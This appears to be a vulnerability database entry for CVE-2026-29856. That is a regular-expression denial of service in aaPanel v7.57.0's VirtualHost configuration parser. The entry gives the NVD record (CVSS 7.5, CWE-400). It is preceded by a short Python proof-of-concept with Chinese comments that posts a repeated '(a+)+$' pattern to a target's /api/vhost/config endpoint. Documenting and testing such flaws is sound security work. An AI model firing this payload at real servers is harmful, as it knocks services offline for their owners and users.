CVE-2026-29856

import requests import time target_url = "http://target:7800" # 构造触发ReDoS的正则表达式模式 malicious_pattern = "(a+)+$" * 50 # 贪婪匹配导致回溯 payload = { "vhost_config": malicious_pattern } print(f"[*] 发送ReDoS payload到 {target_url}") response = requests.post(f"{target_url}/api/vhost/config", json=payload) print(f"[*] 响应状态码: {response.status_code}")

{"cve": {"id": "CVE-2026-29856", "sourceIdentifier": "[email protected]", "published": "2026-03-18T18:16:27.110", "lastModified": "2026-03-19T19:23:57.653", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue in the VirtualHost configuration handling/parser component of aaPanel v7.57.0 allows attackers to cause a Regular Expression Denial of Service (ReDoS) via a crafted input."}, {"lang": "es", "value": "Un problema en el componente de manejo/analizador de configuración de VirtualHost de aaPanel v7.57.0 permite a los atacantes causar una Denegación de Servicio por Expresiones Regulares (ReDoS) a través de una entrada manipulada."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:aapanel:aapanel:7.57.0:*:*:*:*:*:*:*", "matchCriteriaId": "BEA5AFC6-F733-4683-A374-C9665E0A2250"}]}]}], "references": [{"url": "https://github.com/aapanel/aapanel", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/mbiesiad/vulnerability-research/tree/main/CVE-2026-29856", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}